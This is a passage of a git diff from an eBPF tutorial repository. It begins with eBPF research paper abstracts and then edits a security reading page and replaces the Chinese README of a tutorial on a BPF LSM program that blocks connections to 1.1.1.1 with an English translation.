aggregations, from an eBPF hook in the NVMe driver, safely bypassing most of the kernel’s storage stack. To preserve file system semantics, XRP propagates a small amount of kernel state to its NVMe driver hook where the user-registered eBPF functions are called. We show how two key-value stores, BPF-KV, a simple B+-tree key-value store, and WiredTiger, a popular log-structured merge tree storage engine, can leverage XRP to significantly improve throughput and latency. - -OSDI '22 Best Paper: - -## Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel - -This paper describes our experience applying formal methods to a critical component in the Linux kernel, the just-in-time compilers ("JITs") for the Berkeley Packet Filter (BPF) virtual machine. We verify these JITs using Jitterbug, the first framework to provide a precise specification of JIT correctness that is capable of ruling out real-world bugs, and an automated proof strategy that scales to practical implementations. Using Jitterbug, we have designed, implemented, and verified a new BPF JIT for 32-bit RISC-V, found and fixed 16 previously unknown bugs in five other deployed JITs, and developed new JIT optimizations; all of these changes have been upstreamed to the Linux kernel. The results show that it is possible to build a verified component within a large, unverified system with careful design of specification and proof strategy. - -OSDI 20: - -## λ-IO: A Unified IO Stack for Computational Storage - -The emerging computational storage device offers an opportunity for in-storage computing. It alleviates the overhead of data movement between the host and the device, and thus accelerates data-intensive applications. In this paper, we present λ-IO, a unified IO stack managing both computation and storage resources across the host and the device. We propose a set of designs – interface, runtime, and scheduling – to tackle three critical issues. We implement λ-IO in full-stack software and hardware environment, and evaluate it with synthetic and real applications against Linux IO, showing up to 5.12× performance improvement. - -FAST23: - -## Extension Framework for File Systems in User space - -User file systems offer numerous advantages over their in-kernel implementations, such as ease of development and better system reliability. However, they incur heavy performance penalty. We observe that existing user file system frameworks are highly general; they consist of a minimal interposition layer in the kernel that simply forwards all low-level requests to user space. While this design offers flexibility, it also severely degrades performance due to frequent kernel-user context switching. - -This work introduces ExtFUSE, a framework for developing extensible user file systems that also allows applications to register "thin" specialized request handlers in the kernel to meet their specific operative needs, while retaining the complex functionality in user space. Our evaluation with two FUSE file systems shows that ExtFUSE can improve the performance of user file systems with less than a few hundred lines on average. ExtFUSE is available on GitHub. - -ATC 19: - -## Electrode: Accelerating Distributed Protocols with eBPF - -Implementing distributed protocols under a standard Linux kernel networking stack enjoys the benefits of load-aware CPU scaling, high compatibility, and robust security and isolation. However, it suffers from low performance because of excessive user-kernel crossings and kernel networking stack traversing. We present Electrode with a set of eBPF-based performance optimizations designed for distributed protocols. These optimizations get executed in the kernel before the networking stack but achieve similar functionalities as were implemented in user space (e.g., message broadcasting, collecting quorum of acknowledgments), thus avoiding the overheads incurred by user-kernel crossings and kernel networking stack traversing. We show that when applied to a classic Multi-Paxos state machine replication protocol, Electrode improves its throughput by up to 128.4% and latency by up to 41.7%. - -NSDI 23: - -## BMC: Accelerating Memcached using Safe In-kernel Caching and Pre-stack Processing - -In-memory key-value stores are critical components that help scale large internet services by providing low-latency access to popular data. Memcached, one of the most popular key-value stores, suffers from performance limitations inherent to the Linux networking stack and fails to achieve high performance when using high-speed network interfaces. While the Linux network stack can be bypassed using DPDK based solutions, such approaches require a complete redesign of the software stack and induce high CPU utilization even when client load is low. - -To overcome these limitations, we present BMC, an in-kernel cache for Memcached that serves requests before the execution of the standard network stack. Requests to the BMC cache are treated as part of the NIC interrupts, which allows performance to scale with the number of cores serving the NIC queues. To ensure safety, BMC is implemented using eBPF. Despite the safety constraints of eBPF, we show that it is possible to implement a complex cache service. Because BMC runs on commodity hardware and requires modification of neither the Linux kernel nor the Memcached application, it can be widely deployed on existing systems. BMC optimizes the processing time of Facebook-like small-size requests. On this target workload, our evaluations show that BMC improves throughput by up to 18x compared to the vanilla Memcached application and up to 6x compared to an optimized version of Memcached that uses the SO_REUSEPORT socket flag. In addition, our results also show that BMC has negligible overhead and does not deteriorate throughput when treating non-target workloads. - -NSDI 21: - -## hXDP: Efficient Software Packet Processing on FPGA NICs - -FPGA accelerators on the NIC enable the offloading of expensive packet processing tasks from the CPU. However, FPGAs have limited resources that may need to be shared among diverse applications, and programming them is difficult. - -We present a solution to run Linux's eXpress Data Path programs written in eBPF on FPGAs, using only a fraction of the available hardware resources while matching the performance of high-end CPUs. The iterative execution model of eBPF is not a good fit for FPGA accelerators. Nonetheless, we show that many of the instructions of an eBPF program can be compressed, parallelized or completely removed, when targeting a purpose-built FPGA executor, thereby significantly improving performance. We leverage that to design hXDP, which includes (i) an optimizing-compiler that parallelizes and translates eBPF bytecode to an extended eBPF Instruction-set Architecture defined by us; a (ii) soft-processor to execute such instructions on FPGA; and (iii) an FPGA-based infrastructure to provide XDP's maps and helper functions as defined within the Linux kernel. - -We implement hXDP on an FPGA NIC and evaluate it running real-world unmodified eBPF programs. Our implementation is clocked at 156.25MHz, uses about 15% of the FPGA resources, and can run dynamically loaded programs. Despite these modest requirements, it achieves the packet processing throughput of a high-end CPU core and provides a 10x lower packet forwarding latency. - -OSDI 20: - -## Network-Centric Distributed Tracing with DeepFlow: Troubleshooting Your Microservices in Zero Code - -Microservices are becoming more complicated, posing new challenges for traditional performance monitoring solutions. On the one hand, the rapid evolution of microservices places a significant burden on the utilization and maintenance of existing distributed tracing frameworks. On the other hand, complex infrastructure increases the probability of network performance problems and creates more blind spots on the network side. In this paper, we present DeepFlow, a network-centric distributed tracing framework for troubleshooting microservices. DeepFlow provides out-of-the-box tracing via a network-centric tracing plane and implicit context propagation. In addition, it eliminates blind spots in network infrastructure, captures network metrics in a low-cost way, and enhances correlation between different components and layers. We demonstrate analytically and empirically that DeepFlow is capable of locating microservice performance anomalies with negligible overhead. DeepFlow has already identified over 71 critical performance anomalies for more than 26 companies and has been utilized by hundreds of individual developers. Our production evaluations demonstrate that DeepFlow is able to save users hours of instrumentation efforts and reduce troubleshooting time from several hours to just a few minutes. - -SIGCOMM 23: - -## Fast In-kernel Traffic Sketching in eBPF - -The extended Berkeley Packet Filter (eBPF) is an infrastructure that allows to dynamically load and run micro-programs directly in the Linux kernel without recompiling it. - -In this work, we study how to develop high-performance network measurements in eBPF. We take sketches as case-study, given their ability to support a wide-range of tasks while providing low-memory footprint and accuracy guarantees. We implemented NitroSketch, the state-of-the-art sketch for user-space networking and show that best practices in user-space networking cannot be directly applied to eBPF, because of its different performance characteristics. By applying our lesson learned we improve its performance by 40% compared to a naive implementation. - -SIGCOMM 23: - -## SPRIGHT: extracting the server from serverless computing! high-performance eBPF-based event-driven, shared-memory processing - -Serverless computing promises an efficient, low-cost compute capability in cloud environments. However, existing solutions, epitomized by open-source platforms such as Knative, include heavyweight components that undermine this goal of serverless computing. Additionally, such serverless platforms lack dataplane optimizations to achieve efficient, high-performance function chains that facilitate the popular microservices development paradigm. Their use of unnecessarily complex and duplicate capabilities for building function chains severely degrades performance. 'Cold-start' latency is another deterrent. - -We describe SPRIGHT, a lightweight, high-performance, responsive serverless framework. SPRIGHT exploits shared memory processing and dramatically improves the scalability of the dataplane by avoiding unnecessary protocol processing and serialization-deserialization overheads. SPRIGHT extensively leverages event-driven processing with the extended Berkeley Packet Filter (eBPF). We creatively use eBPF's socket message mechanism to support shared memory processing, with overheads being strictly load-proportional. Compared to constantly-running, polling-based DPDK, SPRIGHT achieves the same dataplane performance with 10× less CPU usage under realistic workloads. Additionally, eBPF benefits SPRIGHT, by replacing heavyweight serverless components, allowing us to keep functions 'warm' with negligible penalty. - -Our preliminary experimental results show that SPRIGHT achieves an order of magnitude improvement in throughput and latency compared to Knative, while substantially reducing CPU usage, and obviates the need for 'cold-start'. - - - -## Programmable System Call Security with eBPF - -System call filtering is a widely used security mechanism for protecting a shared OS kernel against untrusted user applications. However, existing system call filtering techniques either are too expensive due to the context switch overhead imposed by userspace agents, or lack sufficient programmability to express advanced policies. Seccomp, Linux's system call filtering module, is widely used by modern container technologies, mobile apps, and system management services. Despite the adoption of the classic BPF language (cBPF), security policies in Seccomp are mostly limited to static allow lists, primarily because cBPF does not support stateful policies. Consequently, many essential security features cannot be expressed precisely and/or require kernel modifications. -In this paper, we present a programmable system call filtering mechanism, which enables more advanced security policies to be expressed by leveraging the extended BPF language (eBPF). More specifically, we create a new Seccomp eBPF program type, exposing, modifying or creating new eBPF helper functions to safely manage filter state, access kernel and user state, and utilize synchronization primitives. Importantly, our system integrates with existing kernel privilege and capability mechanisms, enabling unprivileged users to install advanced filters safely. Our evaluation shows that our eBPF-based filtering can enhance existing policies (e.g., reducing the attack surface of early execution phase by up to 55.4% for temporal specialization), mitigate real-world vulnerabilities, and accelerate filters. - - - -## Cross Container Attacks: The Bewildered eBPF on Clouds - -The extended Berkeley Packet Filter (eBPF) provides powerful and flexible kernel interfaces to extend the kernel functions for user space programs via running bytecode directly in the kernel space. It has been widely used by cloud services to enhance container security, network management, and system observability. However, we discover that the offensive eBPF that have been extensively discussed in Linux hosts can bring new attack surfaces to containers. With eBPF tracing features, attackers can break the container's isolation and attack the host, e.g., steal sensitive data, DoS, and even escape the container. In this paper, we study the eBPF-based cross container attacks and reveal their security impacts in real world services. With eBPF attacks, we successfully compromise five online Jupyter/Interactive Shell services and the Cloud Shell of Google Cloud Platform. Furthermore, we find that the Kubernetes services offered by three leading cloud vendors can be exploited to launch cross-node attacks after the attackers escape the container via eBPF. Specifically, in Alibaba's Kubernetes services, attackers can compromise the whole cluster by abusing their over-privileged cloud metrics or management Pods. Unfortunately, the eBPF attacks on containers are seldom known and can hardly be discovered by existing intrusion detection systems. Also, the existing eBPF permission model cannot confine the eBPF and ensure secure usage in shared-kernel container environments. To this end, we propose a new eBPF permission model to counter the eBPF attacks in containers. - - - -## Comparing Security in eBPF and WebAssembly - -This paper examines the security of eBPF and WebAssembly (Wasm), two technologies that have gained widespread adoption in recent years, despite being designed for very different use cases and environments. While eBPF is a technology primarily used within operating system kernels such as Linux, Wasm is a binary instruction format designed for a stack-based virtual machine with use cases extending beyond the web. Recognizing the growth and expanding ambitions of eBPF, Wasm may provide instructive insights, given its design around securely executing arbitrary untrusted programs in complex and hostile environments such as web browsers and clouds. We analyze the security goals, community evolution, memory models, and execution models of both technologies, and conduct a comparative security assessment, exploring memory safety, control flow integrity, API access, and side-channels. Our results show that eBPF has a history of focusing on performance first and security second, while Wasm puts more emphasis on security at the cost of some runtime overheads. Considering language-based restrictions for eBPF and a security model for API access are fruitful directions for future work. - - - -More about can be found in the first workshop: - -## A flow-based IDS using Machine Learning in eBPF - -eBPF is a new technology which allows dynamically loading pieces of code into the Linux kernel. It can greatly speed up networking since it enables the kernel to process certain packets without the involvement of a userspace program. So far eBPF has been used for simple packet filtering applications such as firewalls or Denial of Service protection. We show that it is possible to develop a flow based network intrusion detection system based on machine learning entirely in eBPF. Our solution uses a decision tree and decides for each packet whether it is malicious or not, considering the entire previous context of the network flow. We achieve a performance increase of over 20% compared to the same solution implemented as a userspace program. - - - -## Femto-containers: lightweight virtualization and fault isolation for small software functions on low-power IoT microcontrollers - -Low-power operating system runtimes used on IoT microcontrollers typically provide rudimentary APIs, basic connectivity and, sometimes, a (secure) firmware update mechanism. In contrast, on less constrained hardware, networked software has entered the age of serverless, microservices and agility. With a view to bridge this gap, in the paper we design Femto-Containers, a new middleware runtime which can be embedded on heterogeneous low-power IoT devices. Femto-Containers enable the secure deployment, execution and isolation of small virtual software functions on low-power IoT devices, over the network. We implement Femto-Containers, and provide integration in RIOT, a popular open source IoT operating system. We then evaluate the performance of our implementation, which was formally verified for fault-isolation, guaranteeing that RIOT is shielded from logic loaded and executed in a Femto-Container. Our experiments on various popular micro-controller architectures (Arm Cortex-M, ESP32 and RISC-V) show that Femto-Containers offer an attractive trade-off in terms of memory footprint overhead, energy consumption, and security. - - - -> The original link of this article: diff --git a/src/18-further-reading/ebpf-security.md b/src/18-further-reading/ebpf-security.md index 14a53fa6..2aa00c31 100644 --- a/src/18-further-reading/ebpf-security.md +++ b/src/18-further-reading/ebpf-security.md @@ -190,7 +190,7 @@ reference - BPF token concept: - BPF signing using fsverity and LSM gatekeeper: - Sign the BPF bytecode: -- bpfd: +- bpfd: ## Other possible solutions @@ -269,7 +269,7 @@ An userspace eBPF runtime that allows existing eBPF applications to operate in u - Linux Plumbers: - Repo: -> It may only limited to centain eBPF program types and usecases, not a general approach for kernel eBPF. +> It may only limited to certain eBPF program types and usecases, not a general approach for kernel eBPF. ## Conclusion diff --git a/src/18-further-reading/ebpf-security.zh.md b/src/18-further-reading/ebpf-security.zh.md index f5ad40c1..edd5e89e 100644 --- a/src/18-further-reading/ebpf-security.zh.md +++ b/src/18-further-reading/ebpf-security.zh.md @@ -189,7 +189,7 @@ BPF命名空间在概念上与PID命名空间相似,设计上直观易用。 - BPF令牌概念: - 使用fsverity和LSM守门员进行BPF签名: - 签名BPF字节码: -- bpfd: +- bpfd: ## 一些其他的解决方案 @@ -248,4 +248,4 @@ Wasm-bpf是一种WebAssembly eBPF库、工具链和运行时,能够使eBPF程 > 我们是 [github.com/eunomia-bpf](https://github.com/eunomia-bpf) 开源社区,希望能使eBPF更易使用,并探索与 eBPF 相关的工具链和运行时等技术。 > -> 对eBPF技术感兴趣的朋友,欢迎查看我们的教程代码仓库 和我们的网站 ,以获取更多关于 eBPF 的相关资料和实践经验。原文地址: +> 对eBPF技术感兴趣的朋友,欢迎查看我们的教程代码仓库 和我们的网站 以获取更多关于 eBPF 的相关资料和实践经验。原文地址: diff --git a/src/19-lsm-connect/.config b/src/19-lsm-connect/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/19-lsm-connect/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/19-lsm-connect/README.md b/src/19-lsm-connect/README.md index 9c743f35..86e65c51 100644 --- a/src/19-lsm-connect/README.md +++ b/src/19-lsm-connect/README.md @@ -1,51 +1,53 @@ -# eBPF 入门实践教程:使用 LSM 进行安全检测防御 +# eBPF Tutorial by Example 19: Security Detection and Defense using LSM -eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此,本文将介绍如何使用 eBPF LSM(Linux Security Modules)机制实现一个简单的安全检查程序。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or modifying the kernel source code. This feature enables eBPF to provide high flexibility and performance, making it widely applicable in network and system performance analysis. The same applies to eBPF applications in security, and this article will introduce how to use the eBPF LSM (Linux Security Modules) mechanism to implement a simple security check program. -## 背景 +> The complete source code: -LSM 从 Linux 2.6 开始成为官方内核的一个安全框架,基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后,系统开发人员已经能够自由地实现函数粒度的安全检查能力,本文就提供了这样一个案例:限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。(可见其控制精度是很高的) +## Background -## LSM 概述 +LSM has been an official security framework in the Linux kernel since Linux 2.6, and security implementations based on it include SELinux and AppArmor. With the introduction of BPF LSM in Linux 5.7, system developers have been able to freely implement function-level security checks. This article provides an example of limiting access to a specific IPv4 address through the socket connect function using a BPF LSM program. (This demonstrates its high control precision.) -LSM(Linux Security Modules)是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点,从而实现了内核和安全模块的解耦,使不同的安全模块可以自由地在内核中加载/卸载,无需修改原有的内核代码就可以加入安全检查功能。 +## Overview of LSM -在过去,使用 LSM 主要通过配置已有的安全模块(如 SELinux 和 AppArmor)或编写自己的内核模块;而在 Linux 5.7 引入 BPF LSM 机制后,一切都变得不同了:现在,开发人员可以通过 eBPF 编写自定义的安全策略,并将其动态加载到内核中的 LSM 挂载点,而无需配置或编写内核模块。 +LSM (Linux Security Modules) is a framework in the Linux kernel that supports various computer security models. LSM predefines a set of hook points on critical paths related to Linux kernel security, decoupling the kernel from security modules. This allows different security modules to be loaded/unloaded in the kernel freely without modifying the existing kernel code, thus enabling them to provide security inspection features. -现在 LSM 支持的 hook 点包括但不限于: +In the past, using LSM mainly involved configuring existing security modules like SELinux and AppArmor or writing custom kernel modules. However, with the introduction of the BPF LSM mechanism in Linux 5.7, everything changed. Now, developers can write custom security policies using eBPF and dynamically load them into the LSM mount points in the kernel without configuring or writing kernel modules. -+ 对文件的打开、创建、删除和移动等; -+ 文件系统的挂载; -+ 对 task 和 process 的操作; -+ 对 socket 的操作(创建、绑定 socket,发送和接收消息等); +Some of the hook points currently supported by LSM include: -更多 hook 点可以参考 [lsm_hooks.h](https://github.com/torvalds/linux/blob/master/include/linux/lsm_hooks.h)。 ++ File open, creation, deletion, and movement; ++ Filesystem mounting; ++ Operations on tasks and processes; ++ Operations on sockets (creating, binding sockets, sending and receiving messages, etc.); -## 确认 BPF LSM 是否可用 +For more hook points, refer to [lsm_hooks.h](https://github.com/torvalds/linux/blob/master/include/linux/lsm_hooks.h). -首先,请确认内核版本高于 5.7。接下来,可以通过 +## Verifying BPF LSM Availability + +First, please confirm that your kernel version is higher than 5.7. Next, you can use the following command to check if BPF LSM support is enabled: ```console $ cat /boot/config-$(uname -r) | grep BPF_LSM CONFIG_BPF_LSM=y ``` -判断是否内核是否支持 BPF LSM。上述条件都满足的情况下,可以通过 +If the output contains `CONFIG_BPF_LSM=y`, BPF LSM is supported. Provided that the above conditions are met, you can use the following command to check if the output includes the `bpf` option: ```console $ cat /sys/kernel/security/lsm ndlock,lockdown,yama,integrity,apparmor ``` -查看输出是否包含 bpf 选项,如果输出不包含(像上面的例子),可以通过修改 `/etc/default/grub`: +If the output does not include the `bpf` option (as in the example above), you can modify `/etc/default/grub`: ```conf GRUB_CMDLINE_LINUX="lsm=ndlock,lockdown,yama,integrity,apparmor,bpf" ``` -并通过 `update-grub2` 命令更新 grub 配置(不同系统的对应命令可能不同),然后重启系统。 +Then, update the grub configuration using the `update-grub2` command (the corresponding command may vary depending on the system), and restart the system. -## 编写 eBPF 程序 +## Writing eBPF Programs ```C // lsm-connect.bpf.c @@ -90,33 +92,32 @@ int BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, in } return 0; } - ``` -这是一段 C 实现的 eBPF 内核侧代码,它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作,其中: +This is eBPF code implemented in C on the kernel side. It blocks all connection operations through a socket to 1.1.1.1. The following information is included: -+ `SEC("lsm/socket_connect")` 宏指出该程序期望的挂载点; -+ 程序通过 `BPF_PROG` 宏定义(详情可查看 [tools/lib/bpf/bpf_tracing.h](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/tools/lib/bpf/bpf_tracing.h)); -+ `restrict_connect` 是 `BPF_PROG` 宏要求的程序名; -+ `ret` 是该挂载点上(潜在的)当前函数之前的 LSM 检查程序的返回值; ++ The `SEC("lsm/socket_connect")` macro indicates the expected mount point for this program. ++ The program is defined by the `BPF_PROG` macro (see [tools/lib/bpf/bpf_tracing.h](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/tools/lib/bpf/bpf_tracing.h) for details). ++ `restrict_connect` is the program name required by the `BPF_PROG` macro. ++ `ret` is the return value of the LSM check program (potential) before the current function on this mount point. -整个程序的思路不难理解: +The overall idea of the program is not difficult to understand: -+ 首先,若其他安全检查函数返回值不为 0(不通过),则无需检查,直接返回不通过; -+ 接下来,判断是否为 IPV4 的连接请求,并比较试图连接的地址是否为 1.1.1.1; -+ 若请求地址为 1.1.1.1 则拒绝连接,否则允许连接; ++ First, if the return value of other security check functions is non-zero (failed), there is no need to check further and the connection is rejected. ++ Next, it determines whether it is an IPv4 connection request and compares the address being connected to with 1.1.1.1. ++ If the requested address is 1.1.1.1, the connection is blocked; otherwise, the connection is allowed. -在程序运行期间,所有通过 socket 的连接操作都会被输出到 `/sys/kernel/debug/tracing/trace_pipe`。 +During the execution of the program, all connection operations through a socket will be output to `/sys/kernel/debug/tracing/trace_pipe`. -## 编译运行 +## Compilation and Execution -通过容器编译: +Compile using a container: ```console docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -或是通过 `ecc` 编译: +Or compile using `ecc`: ```console $ ecc lsm-connect.bpf.c @@ -124,13 +125,13 @@ Compiling bpf object... Packing ebpf object and config into package.json... ``` -并通过 `ecli` 运行: +And run using `ecli`: ```shell sudo ecli run package.json ``` -接下来,可以打开另一个 terminal,并尝试访问 1.1.1.1: +Next, open another terminal and try to access 1.1.1.1: ```console $ ping 1.1.1.1 @@ -143,27 +144,29 @@ Connecting to 1.1.1.1:80... failed: Operation not permitted. Retrying. ``` -同时,我们可以查看 `bpf_printk` 的输出: +At the same time, we can view the output of `bpf_printk`: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 - curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 - wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 - wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 + curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009".``` +wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 +wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 ``` -完整源代码: +Complete source code: -## 总结 +## Summary -本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中,我们通过 `BPF_PROG` 宏定义函数,并通过 `SEC` 宏指定挂载点;在函数实现上,遵循 LSM 安全检查模块中 "cannot override a denial" 的原则,并根据 socket 连接请求的目的地址对该请求进行限制。 +This article introduces how to use BPF LSM to restrict access to a specific IPv4 address through a socket. We can enable the LSM BPF mount point by modifying the GRUB configuration file. In the eBPF program, we define functions using the `BPF_PROG` macro and specify the mount point using the `SEC` macro. In the implementation of the function, we follow the principle of "cannot override a denial" in the LSM security-checking module and restrict the socket connection request based on the destination address of the request. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. -## 参考 +## References + + + +> The original link of this article: diff --git a/src/19-lsm-connect/README.zh.md b/src/19-lsm-connect/README.zh.md new file mode 100644 index 00000000..9c743f35 --- /dev/null +++ b/src/19-lsm-connect/README.zh.md @@ -0,0 +1,169 @@ +# eBPF 入门实践教程:使用 LSM 进行安全检测防御 + +eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此,本文将介绍如何使用 eBPF LSM(Linux Security Modules)机制实现一个简单的安全检查程序。 + +## 背景 + +LSM 从 Linux 2.6 开始成为官方内核的一个安全框架,基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后,系统开发人员已经能够自由地实现函数粒度的安全检查能力,本文就提供了这样一个案例:限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。(可见其控制精度是很高的) + +## LSM 概述 + +LSM(Linux Security Modules)是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点,从而实现了内核和安全模块的解耦,使不同的安全模块可以自由地在内核中加载/卸载,无需修改原有的内核代码就可以加入安全检查功能。 + +在过去,使用 LSM 主要通过配置已有的安全模块(如 SELinux 和 AppArmor)或编写自己的内核模块;而在 Linux 5.7 引入 BPF LSM 机制后,一切都变得不同了:现在,开发人员可以通过 eBPF 编写自定义的安全策略,并将其动态加载到内核中的 LSM 挂载点,而无需配置或编写内核模块。 + +现在 LSM 支持的 hook 点包括但不限于: + ++ 对文件的打开、创建、删除和移动等; ++ 文件系统的挂载; ++ 对 task 和 process 的操作; ++ 对 socket 的操作(创建、绑定 socket,发送和接收消息等); + +更多 hook 点可以参考 [lsm_hooks.h](https://github.com/torvalds/linux/blob/master/include/linux/lsm_hooks.h)。 + +## 确认 BPF LSM 是否可用 + +首先,请确认内核版本高于 5.7。接下来,可以通过 + +```console +$ cat /boot/config-$(uname -r) | grep BPF_LSM +CONFIG_BPF_LSM=y +``` + +判断是否内核是否支持 BPF LSM。上述条件都满足的情况下,可以通过 + +```console +$ cat /sys/kernel/security/lsm +ndlock,lockdown,yama,integrity,apparmor +``` + +查看输出是否包含 bpf 选项,如果输出不包含(像上面的例子),可以通过修改 `/etc/default/grub`: + +```conf +GRUB_CMDLINE_LINUX="lsm=ndlock,lockdown,yama,integrity,apparmor,bpf" +``` + +并通过 `update-grub2` 命令更新 grub 配置(不同系统的对应命令可能不同),然后重启系统。 + +## 编写 eBPF 程序 + +```C +// lsm-connect.bpf.c +#include "vmlinux.h" +#include +#include +#include + +char LICENSE[] SEC("license") = "GPL"; + +#define EPERM 1 +#define AF_INET 2 + +const __u32 blockme = 16843009; // 1.1.1.1 -> int + +SEC("lsm/socket_connect") +int BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret) +{ + // Satisfying "cannot override a denial" rule + if (ret != 0) + { + return ret; + } + + // Only IPv4 in this example + if (address->sa_family != AF_INET) + { + return 0; + } + + // Cast the address to an IPv4 socket address + struct sockaddr_in *addr = (struct sockaddr_in *)address; + + // Where do you want to go? + __u32 dest = addr->sin_addr.s_addr; + bpf_printk("lsm: found connect to %d", dest); + + if (dest == blockme) + { + bpf_printk("lsm: blocking %d", dest); + return -EPERM; + } + return 0; +} + +``` + +这是一段 C 实现的 eBPF 内核侧代码,它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作,其中: + ++ `SEC("lsm/socket_connect")` 宏指出该程序期望的挂载点; ++ 程序通过 `BPF_PROG` 宏定义(详情可查看 [tools/lib/bpf/bpf_tracing.h](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/tools/lib/bpf/bpf_tracing.h)); ++ `restrict_connect` 是 `BPF_PROG` 宏要求的程序名; ++ `ret` 是该挂载点上(潜在的)当前函数之前的 LSM 检查程序的返回值; + +整个程序的思路不难理解: + ++ 首先,若其他安全检查函数返回值不为 0(不通过),则无需检查,直接返回不通过; ++ 接下来,判断是否为 IPV4 的连接请求,并比较试图连接的地址是否为 1.1.1.1; ++ 若请求地址为 1.1.1.1 则拒绝连接,否则允许连接; + +在程序运行期间,所有通过 socket 的连接操作都会被输出到 `/sys/kernel/debug/tracing/trace_pipe`。 + +## 编译运行 + +通过容器编译: + +```console +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +或是通过 `ecc` 编译: + +```console +$ ecc lsm-connect.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +``` + +并通过 `ecli` 运行: + +```shell +sudo ecli run package.json +``` + +接下来,可以打开另一个 terminal,并尝试访问 1.1.1.1: + +```console +$ ping 1.1.1.1 +ping: connect: Operation not permitted +$ curl 1.1.1.1 +curl: (7) Couldn't connect to server +$ wget 1.1.1.1 +--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/ +Connecting to 1.1.1.1:80... failed: Operation not permitted. +Retrying. +``` + +同时,我们可以查看 `bpf_printk` 的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 + ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 + curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 + curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 + wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 + wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 +``` + +完整源代码: + +## 总结 + +本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中,我们通过 `BPF_PROG` 宏定义函数,并通过 `SEC` 宏指定挂载点;在函数实现上,遵循 LSM 安全检查模块中 "cannot override a denial" 的原则,并根据 socket 连接请求的目的地址对该请求进行限制。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +## 参考 + ++ ++ diff --git a/src/19-lsm-connect/README_en.md b/src/19-lsm-connect/README_en.md deleted file mode 100644 index 67f89c8e..00000000 --- a/src/19-lsm-connect/README_en.md +++ /dev/null @@ -1,170 +0,0 @@ -# eBPF Tutorial by Example 19: Security Detection and Defense using LSM - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or modifying the kernel source code. This feature enables eBPF to provide high flexibility and performance, making it widely applicable in network and system performance analysis. The same applies to eBPF applications in security, and this article will introduce how to use the eBPF LSM (Linux Security Modules) mechanism to implement a simple security check program. - -## Background - -LSM has been an official security framework in the Linux kernel since Linux 2.6, and security implementations based on it include SELinux and AppArmor. With the introduction of BPF LSM in Linux 5.7, system developers have been able to freely implement function-level security checks. This article provides an example of limiting access to a specific IPv4 address through the socket connect function using a BPF LSM program. (This 